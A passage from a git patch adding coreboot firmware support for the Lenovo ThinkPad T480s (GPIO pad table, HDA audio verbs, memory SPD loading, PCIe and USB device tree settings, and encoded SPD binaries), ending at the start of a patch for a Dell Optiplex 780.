*/ ++ PAD_NC(GPP_C5, NONE), ++ PAD_CFG_NF(GPP_C6, NONE, DEEP, NF1), /* EC_SCL2 */ ++ PAD_CFG_NF(GPP_C7, NONE, DEEP, NF1), /* EC_SDA2 */ ++ PAD_NC(GPP_C8, NONE), ++ PAD_NC(GPP_C9, NONE), ++ PAD_NC(GPP_C10, NONE), ++ PAD_NC(GPP_C11, NONE), ++ PAD_NC(GPP_C12, NONE), ++ PAD_NC(GPP_C13, NONE), ++ PAD_NC(GPP_C14, NONE), ++ PAD_NC(GPP_C15, NONE), ++ PAD_CFG_NF(GPP_C16, NONE, DEEP, NF1), /* I2C0_DATA */ ++ PAD_CFG_NF(GPP_C17, NONE, DEEP, NF1), /* I2C0_CLK */ ++ PAD_NC(GPP_C18, NONE), ++ PAD_NC(GPP_C19, NONE), ++ PAD_CFG_GPO(GPP_C20, 0, DEEP), /* EPRIVACY_ON */ ++ PAD_CFG_GPO(GPP_C21, 0, DEEP), /* TBT_FORCE_PWR */ ++ PAD_CFG_GPI_SCI(GPP_C22, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_SCI */ ++ PAD_CFG_GPI_SCI(GPP_C23, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_WAKE */ ++ ++ /* ------- GPIO Group GPP_D ------- */ ++ PAD_NC(GPP_D0, NONE), ++ PAD_NC(GPP_D1, NONE), ++ PAD_NC(GPP_D2, NONE), ++ PAD_NC(GPP_D3, NONE), ++ PAD_NC(GPP_D4, NONE), ++ PAD_NC(GPP_D5, NONE), ++ PAD_NC(GPP_D6, NONE), ++ PAD_NC(GPP_D7, NONE), ++ PAD_NC(GPP_D8, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D9, UP_20K, DEEP, OFF, ACPI), /* -DISCRETE_PRESENCE */ ++ PAD_NC(GPP_D10, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D11, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_D12, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID1 */ ++ PAD_NC(GPP_D13, NONE), ++ PAD_NC(GPP_D14, NONE), ++ PAD_NC(GPP_D15, NONE), ++ PAD_NC(GPP_D16, NONE), ++ PAD_CFG_GPO(GPP_D17, 0, DEEP), /* DDI_PRIORITY */ ++ PAD_NC(GPP_D18, NONE), ++ PAD_NC(GPP_D19, NONE), ++ PAD_NC(GPP_D20, NONE), ++ PAD_NC(GPP_D21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D22, UP_20K, DEEP, OFF, ACPI), /* -NFC_DTCT */ ++ PAD_NC(GPP_D23, NONE), ++ ++ /* ------- GPIO Group GPP_E ------- */ ++ PAD_CFG_GPO(GPP_E0, 1, DEEP), /* BDC_ON */ ++ PAD_NC(GPP_E1, NONE), ++ PAD_CFG_NF(GPP_E2, NONE, DEEP, NF1), /* -SATA2_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_E3, NONE, DEEP, EDGE_SINGLE, ACPI), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_GPO(GPP_E4, 1, DEEP), /* NFC_ON */ ++ PAD_NC(GPP_E5, NONE), ++ PAD_CFG_NF(GPP_E6, NONE, RSMRST, NF1), /* SATA2_DEVSLP */ ++ PAD_NC(GPP_E7, NONE), ++ PAD_NC(GPP_E8, NONE), ++ PAD_CFG_NF(GPP_E9, NONE, DEEP, NF1), /* -USB_PORT0_OC0 */ ++ PAD_CFG_NF(GPP_E10, NONE, DEEP, NF1), /* -USB_PORT1_OC1 */ ++ PAD_NC(GPP_E11, NONE), ++ PAD_CFG_GPI_APIC_HIGH(GPP_E12, NONE, DEEP), /* NFC_INT */ ++ PAD_CFG_NF(GPP_E13, NONE, DEEP, NF1), /* DDIP1_HPD */ ++ PAD_CFG_NF(GPP_E14, NONE, DEEP, NF1), /* DDIP2_HPD */ ++ PAD_NC(GPP_E15, NONE), ++ PAD_NC(GPP_E16, NONE), ++ PAD_CFG_NF(GPP_E17, NONE, DEEP, NF1), /* EDP_HPD */ ++ PAD_NC(GPP_E18, NONE), ++ PAD_CFG_GPO(GPP_E19, 0, DEEP), ++ PAD_CFG_NF(GPP_E20, NONE, DEEP, NF1), /* DDIP2_CTRLCLK */ ++ PAD_CFG_NF(GPP_E21, NONE, DEEP, NF1), /* DDIP2_CTRLDATA */ ++ PAD_CFG_TERM_GPO(GPP_E22, 0, UP_20K, RSMRST), /* -GPU_RST */ ++ PAD_CFG_TERM_GPO(GPP_E23, 0, UP_20K, RSMRST), /* 1R8VIDEO_AON_ON */ ++ ++ /* ------- GPIO Community 2 ------- */ ++ ++ /* -------- GPIO Group GPD -------- */ ++ PAD_CFG_NF(GPD0, NONE, PWROK, NF1), /* -BATLOW */ ++ PAD_CFG_NF(GPD1, NATIVE, PWROK, NF1), /* AC_PRESENT */ ++ PAD_CFG_NF(GPD2, NATIVE, PWROK, NF1), /* -LANWAKE */ ++ PAD_CFG_NF(GPD3, UP_20K, PWROK, NF1), /* -PWRSW_EC */ ++ PAD_CFG_NF(GPD4, NONE, PWROK, NF1), /* -PCH_SLP_S3 */ ++ PAD_CFG_NF(GPD5, NONE, PWROK, NF1), /* -PCH_SLP_S4 */ ++ PAD_CFG_NF(GPD6, NONE, PWROK, NF1), /* -PCH_SLP_M */ ++ PAD_NC(GPD7, NONE), ++ PAD_CFG_NF(GPD8, NONE, PWROK, NF1), /* SUSCLK_32K */ ++ PAD_CFG_NF(GPD9, NONE, PWROK, NF1), /* -PCH_SLP_WLAN */ ++ PAD_CFG_NF(GPD10, NONE, PWROK, NF1), /* -PCH_SLP_S5 */ ++ PAD_CFG_NF(GPD11, NONE, PWROK, NF1), /* LANPHYPC */ ++ ++ /* ------- GPIO Community 3 ------- */ ++ ++ /* ------- GPIO Group GPP_F ------- */ ++ PAD_CFG_GPO(GPP_F0, 0, DEEP), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F1, NONE, DEEP, OFF, ACPI), /* GC6_FB_EN */ ++ PAD_CFG_GPO(GPP_F2, 1, DEEP), /* -GPU_EVENT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F3, NONE, PLTRST, OFF, ACPI), /* DGFX_PWRGD */ ++ PAD_NC(GPP_F4, NONE), /* -WWAN_RESET */ ++ PAD_NC(GPP_F5, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F6, UP_20K, DEEP, OFF, ACPI), /* -MIC_HW_EN (R37 to GND) */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F7, UP_20K, DEEP, OFF, ACPI), /* -INT_MIC_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F8, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F9, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F10, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F11, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F12, UP_20K, DEEP, OFF, ACPI), /* PLANARID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F13, UP_20K, DEEP, OFF, ACPI), /* PLANARID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F14, UP_20K, DEEP, OFF, ACPI), /* PLANARID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F15, UP_20K, DEEP, OFF, ACPI), /* PLANARID3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F16, UP_20K, DEEP, OFF, ACPI), /* MEMORYID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F17, UP_20K, DEEP, OFF, ACPI), /* MEMORYID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F18, UP_20K, DEEP, OFF, ACPI), /* MEMORYID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F19, UP_20K, DEEP, OFF, ACPI), /* MEMORYID3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F20, UP_20K, DEEP, OFF, ACPI), /* MEMORYID4 */ ++ PAD_NC(GPP_F21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F22, UP_20K, DEEP, OFF, ACPI), /* -TAMPER_SW_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F23, UP_20K, DEEP, OFF, ACPI), /* -SC_DTCT */ ++ ++ /* ------- GPIO Group GPP_G ------- */ ++ PAD_NC(GPP_G0, NONE), ++ PAD_NC(GPP_G1, NONE), ++ PAD_NC(GPP_G2, NONE), ++ PAD_NC(GPP_G3, NONE), ++ PAD_CFG_GPO(GPP_G4, 0, DEEP), /* TBT_RTD3_PWR_EN */ ++ PAD_CFG_GPO(GPP_G5, 0, DEEP), /* TBT_FORCE_USB_PWR */ ++ PAD_CFG_GPO(GPP_G6, 0, DEEP), /* -TBT_PERST */ ++ PAD_CFG_GPI_SCI(GPP_G7, NONE, DEEP, LEVEL, INVERT), /* -TBT_PCIE_WAKE */ ++}; ++ ++void variant_config_gpios(void) ++{ ++ gpio_configure_pads(gpio_table, ARRAY_SIZE(gpio_table)); ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c +new file mode 100644 +index 0000000000..b1d96c5a76 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c +@@ -0,0 +1,90 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++ ++const u32 cim_verb_data[] = { ++ 0x10ec0257, // Vendor/Device ID: Realtek ALC257 ++ 0x17aa2258, // Subsystem ID ++ 11, ++ AZALIA_SUBVENDOR(0, 0x17aa2258), ++ ++ AZALIA_PIN_CFG(0, 0x12, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_MIC_IN, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 2, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x13, 0x40000000), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_SPEAKER, ++ AZALIA_OTHER_ANALOG, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x18, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x19, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_MIC_IN, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 3, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x1a, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1b, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1d, 0x40661b45), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x1e, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x21, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_HP_OUT, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 15 ++ )), ++ ++ 0x8086280b, // Vendor/Device ID: Intel Kabylake HDMI ++ 0x80860101, // Subsystem ID ++ 4, ++ AZALIA_SUBVENDOR(2, 0x80860101), ++ ++ AZALIA_PIN_CFG(2, 0x05, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x06, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x07, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++}; ++ ++const u32 pc_beep_verbs[] = {}; ++ ++AZALIA_ARRAY_SIZES; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c +new file mode 100644 +index 0000000000..001e934b3a +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c +@@ -0,0 +1,44 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++#include ++#include ++#include ++ ++static const struct pad_config memory_id_gpio_table[] = { ++ PAD_CFG_GPI_TRIG_OWN(GPP_F16, UP_20K, DEEP, OFF, ACPI), /* MEMORYID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F17, UP_20K, DEEP, OFF, ACPI), /* MEMORYID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F18, UP_20K, DEEP, OFF, ACPI), /* MEMORYID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F19, UP_20K, DEEP, OFF, ACPI), /* MEMORYID3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F20, UP_20K, DEEP, OFF, ACPI), /* MEMORYID4 */ ++}; ++ ++void mainboard_memory_init_params(FSPM_UPD *mupd) ++{ ++ int spd_idx; ++ char spd_name[20]; ++ size_t spd_size; ++ ++ FSP_M_CONFIG *mem_cfg = &mupd->FspmConfig; ++ mem_cfg->DqPinsInterleaved = true; /* DDR_DQ in interleave mode */ ++ mem_cfg->CaVrefConfig = 2; /* VREF_CA to CH_A and VREF_DQ_B to CH_B */ ++ mem_cfg->MemorySpdDataLen = CONFIG_DIMM_SPD_SIZE; ++ ++ /* Get SPD for soldered RAM SPD (CH A) */ ++ gpio_configure_pads(memory_id_gpio_table, ARRAY_SIZE(memory_id_gpio_table)); ++ ++ spd_idx = gpio_get(GPP_F16) | gpio_get(GPP_F17) << 1 | gpio_get(GPP_F18) << 2 | ++ gpio_get(GPP_F19) << 3 | gpio_get(GPP_F20) << 4; ++ printk(BIOS_DEBUG, "Detected MEMORY_ID = %d\n", spd_idx); ++ snprintf(spd_name, sizeof(spd_name), "spd_%d.bin", spd_idx); ++ mem_cfg->MemorySpdPtr00 = (uintptr_t)cbfs_map(spd_name, &spd_size); ++ ++ /* Get SPD for memory slot (CH B) */ ++ struct spd_block blk = { .addr_map = { [1] = 0x51, } }; ++ get_spd_smbus(&blk); ++ dump_spd_info(&blk); ++ ++ mem_cfg->MemorySpdPtr10 = (uintptr_t)blk.spd_array[1]; ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb +new file mode 100644 +index 0000000000..d4afca20c4 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb +@@ -0,0 +1,103 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++chip soc/intel/skylake ++ device domain 0 on ++ device ref south_xhci on ++ register "usb2_ports" = "{ ++ [0] = USB2_PORT_MID(OC0), // JUSB1 (USB-A always on) ++ [1] = USB2_PORT_MID(OC1), // JUSB2 (USB-A) ++ [2] = USB2_PORT_MID(OC_SKIP), // JFPR (smartcard slot) ++ [3] = USB2_PORT_MID(OC_SKIP), // JUSBC (USB-C) ++ [4] = USB2_PORT_MID(OC_SKIP), // JCAM (IR camera) ++ [5] = USB2_PORT_MID(OC_SKIP), // JWWAN (M.2 WWAN USB) ++ [6] = USB2_PORT_MID(OC_SKIP), // JWLAN (M.2 WLAN USB) ++ [7] = USB2_PORT_MID(OC_SKIP), // JCAM (webcam) ++ [8] = USB2_PORT_MID(OC_SKIP), // JFPR (fingerprint reader) ++ [9] = USB2_PORT_MID(OC_SKIP), // JLCD (touch panel) ++ }" ++ register "usb3_ports" = "{ ++ [0] = USB3_PORT_DEFAULT(OC0), // JUSB1 (USB-A always on) ++ [1] = USB3_PORT_DEFAULT(OC1), // JUSB2 (USB-A) ++ [2] = USB3_PORT_DEFAULT(OC_SKIP), // JSD (SD card reader) ++ [3] = USB3_PORT_DEFAULT(OC_SKIP), // JUSBC (USB-C) ++ }" ++ end ++ ++ device ref sata on ++ # SATA_2 - Main M.2 SATA SSD ++ register "SataPortsEnable[2]" = "1" ++ register "SataPortsDevSlp[2]" = "1" ++ end ++ ++ # PCIe controller 1 - 1x2+2x1 ++ # PCIE 1-2 - RP1 - dGPU - CLKOUT0 - CLKREQ0 ++ # PCIE 4 - RP4 - WWAN - CLKOUT1 - CLKREQ1 ++ # ++ # PCIe controller 2 - 2x1+1x2 (lane reversal) ++ # PCIE 5 - GBE - GBE - CLKOUT2 - CLKREQ2 (clobbers RP8) ++ # PCIE 6 - RP7 - WLAN - CLKOUT3 - CLKREQ3 ++ # PCIE 7-8 - RP5 - TB3 - CLKOUT4 - CLKREQ4 ++ # ++ # PCIe controller 3 - 1x4 (lane reversal) ++ # PCIE 9-12 - RP9 - SSD - CLKOUT5 - CLKREQ5 ++ ++ # dGPU - x2 ++ device ref pcie_rp1 on ++ register "PcieRpEnable[0]" = "1" ++ register "PcieRpClkReqSupport[0]" = "1" ++ register "PcieRpClkReqNumber[0]" = "0" ++ register "PcieRpClkSrcNumber[0]" = "0" ++ register "PcieRpAdvancedErrorReporting[0]" = "1" ++ register "PcieRpLtrEnable[0]" = "1" ++ end ++ ++ # M.2 WWAN - x1 ++ device ref pcie_rp4 on ++ register "PcieRpEnable[3]" = "1" ++ register "PcieRpClkReqSupport[3]" = "1" ++ register "PcieRpClkReqNumber[3]" = "1" ++ register "PcieRpClkSrcNumber[3]" = "1" ++ register "PcieRpAdvancedErrorReporting[3]" = "1" ++ register "PcieRpLtrEnable[3]" = "1" ++ end ++ ++ # Ethernet (clobbers RP8) ++ device ref gbe on ++ register "LanClkReqSupported" = "1" ++ register "LanClkReqNumber" = "2" ++ register "EnableLanLtr" = "1" ++ register "EnableLanK1Off" = "1" ++ end ++ ++ # M.2 WLAN - x1 ++ device ref pcie_rp7 on ++ register "PcieRpEnable[6]" = "1" ++ register "PcieRpClkReqSupport[6]" = "1" ++ register "PcieRpClkReqNumber[6]" = "3" ++ register "PcieRpClkSrcNumber[6]" = "3" ++ register "PcieRpAdvancedErrorReporting[6]" = "1" ++ register "PcieRpLtrEnable[6]" = "1" ++ end ++ ++ # TB3 (Alpine Ridge LP) - x2 ++ device ref pcie_rp5 on ++ register "PcieRpEnable[4]" = "1" ++ register "PcieRpClkReqSupport[4]" = "1" ++ register "PcieRpClkReqNumber[4]" = "4" ++ register "PcieRpClkSrcNumber[4]" = "4" ++ register "PcieRpAdvancedErrorReporting[4]" = "1" ++ register "PcieRpLtrEnable[4]" = "1" ++ register "PcieRpHotPlug[4]" = "1" ++ end ++ ++ # M.2 2280 SSD - x2 ++ device ref pcie_rp9 on ++ register "PcieRpEnable[8]" = "1" ++ register "PcieRpClkReqSupport[8]" = "1" ++ register "PcieRpClkReqNumber[8]" = "5" ++ register "PcieRpClkSrcNumber[8]" = "5" ++ register "PcieRpAdvancedErrorReporting[8]" = "1" ++ register "PcieRpLtrEnable[8]" = "1" ++ end ++ end ++end +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..86f39ddb55ea9fb58d5e5699637636ef597c734e +GIT binary patch +literal 512 +zcmY!u;9+)EWZ+<6U|?oq29gXMJYRrxPEL*>N67~+1r7#Qh7a1t+8`-(puhlu3{YAD +YT>%dM8_BI;nL`dsaHtp+rc($20I8n}l>h($ + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..df0f6e58b79286a4aeb690c5027adf7a1f5f668b +GIT binary patch +literal 512 +zcmY!u;9+i6oWQ}rz`)GN3?vyic)kGXoSYm%j*<^t3LFfq3@hZcwLwzoK!E`Q8KATR +Yx&j>hH(SqvWezd%<4`dwOs5b40B_I==>Px# + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..24f0d8992bc5244c62488da9633e4885f52f3e22 +GIT binary patch +literal 512 +zcmY!ucy&~OfFg0G3Wp`)phiHWn5fv$6q +PvjPw>z-1}5hGzN!nb#F$ + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..59b6b9e78263c42aae367ab7d4a784d888f30efe +GIT binary patch +literal 512 +zcmY!ucy(6E*fVuXjUqlKwqu$iMg7pDLK + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a2a64a5e1adada3fc00b2e4edc60c77e610881a9 +GIT binary patch +literal 512 +zcmY!u<-XH%N8S?V-1R3%^a4B#wurhqmHql_HU=XnZ$x{Q& +z*$Oh{IYWaWKO+-03?$Qx1CPkm2-nu217(^xhPas;8kw1RMCls2o4FbS#SI&DT;VDQ +GCj$V){1T)9 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a2a64a5e1adada3fc00b2e4edc60c77e610881a9 +GIT binary patch +literal 512 +zcmY!u<-XH%N8S?V-1R3%^a4B#wurhqmHql_HU=XnZ$x{Q& +z*$Oh{IYWaWKO+-03?$Qx1CPkm2-nu217(^xhPas;8kw1RMCls2o4FbS#SI&DT;VDQ +GCj$V){1T)9 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a64a5a93fb4aef4d5f63d79cb2582731b9ac5063 +GIT binary patch +literal 512 +NcmZQz7zHCa1ONg600961 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..5f23e86606094d3e5d2011db902ebd4a500bbffa +GIT binary patch +literal 512 +zcmY!u<-XHc140(BZf(&^dxD+@TSQ$QOn`kgpFo@WIT6 +z8Mi42GcX`n2w8lrIa@)p&l&!{<7bq|r;x^SwThHl(6E*fVuXjUqobjFu$i-OkeQ!u +Vn70BDFf^?FkI#a;_$28g2LNS*7)Ag9 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..857da9c9828cdac842329f6cef4539283777268b +GIT binary patch +literal 512 +zcmY!uenuv07)YiW2Og2B5w5L42g)>Y3~@6xG%_>sh|)E7H}WzBiW@fQc)?W; +GP6hy+m=i1j + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..b5b14cf2dfa06ae183b0379da4dc825129e1589f +GIT binary patch +literal 512 +zcmY!u;9+)EWZ+<6U|?oq29gXMJU@VRUS6IcN7)B11r7#Qh7a1tdLSuupuhlu3{YAD +XT>%b$v*cE=%%S%6I8=-Z(%b$+tzbnnL|62aHtp+rc($20QGqazW@LL + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..829f149547bc24859646c33d5926938d7a1b90cb +GIT binary patch +literal 512 +zcmY!u;9+)EWZ+<6U|?oq29gXMJYRrxPEL*>N67~+1r7#Qh7a1tdLSuupuhlu3{YAD +XT>%b$o8(ro%%OI594bbI=@bG0z{d&v + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a64a5a93fb4aef4d5f63d79cb2582731b9ac5063 +GIT binary patch +literal 512 +NcmZQz7zHCa1ONg600961 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..a64a5a93fb4aef4d5f63d79cb2582731b9ac5063 +GIT binary patch +literal 512 +NcmZQz7zHCa1ONg600961 + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..940f1e3cd8e5bd9ea32a82a14edcdcbc8132d8c7 +GIT binary patch +literal 512 +zcmY!u<-XH%N8S?V-1R3%^a4B#wurjQW(9mG0U=XnZ$x{Q& +z0UPq1A)%L_QJxwGl4(Y*BAFWD+8T7AOcTeDU_*B^6OSleBX=`bLy)jxgN`d)<=|uh +E020*^DF6Tf + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin +new file mode 100644 +index 0000000000000000000000000000000000000000..30c84410d417ef7afa8705c93cdb64a9f4e915a0 +GIT binary patch +literal 512 +zcmY!uW!enxp}7)YiWinU~FgllWifig`TLxK(6%}hL^bdB7N9Ss$Lz^FmT39fQ* +FG5`?&65ap+ + +literal 0 +HcmV?d00001 + +-- +2.39.5 + diff --git a/patches/coreboot-t480/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch b/patches/coreboot-t480/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch new file mode 100644 index 000000000..77513b775 --- /dev/null +++ b/patches/coreboot-t480/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch @@ -0,0 +1,708 @@ +From 2527c4a5131d7b33e43bbc03a94921e7e59b4b02 Mon Sep 17 00:00:00 2001 +From: Nicholas Chin +Date: Mon, 30 Sep 2024 20:44:38 -0400 +Subject: [PATCH 04/11] mb/dell: Add Optiplex 780 MT (x4x/ICH10) + +Change-Id: Idb45737ce95bfd26e978323c650de7d308b5079c +Signed-off-by: Nicholas Chin +--- + src/mainboard/dell/optiplex_780/Kconfig | 40 ++++ + src/mainboard/dell/optiplex_780/Kconfig.name | 4 + + src/mainboard/dell/optiplex_780/Makefile.mk | 10 + + src/mainboard/dell/optiplex_780/acpi/ec.asl | 5 + + .../dell/optiplex_780/acpi/ich10_pci_irqs.asl | 32 ++++ + .../dell/optiplex_780/acpi/superio.asl | 18 ++ + .../dell/optiplex_780/board_info.txt | 6 + + src/mainboard/dell/optiplex_780/cmos.default | 8 + + src/mainboard/dell/optiplex_780/cmos.layout | 72 ++++++++ + src/mainboard/dell/optiplex_780/cstates.c | 8 + + src/mainboard/dell/optiplex_780/devicetree.cb | 63 +++++++ + src/mainboard/dell/optiplex_780/dsdt.asl | 26 +++ + .../dell/optiplex_780/gma-mainboard.ads | 16 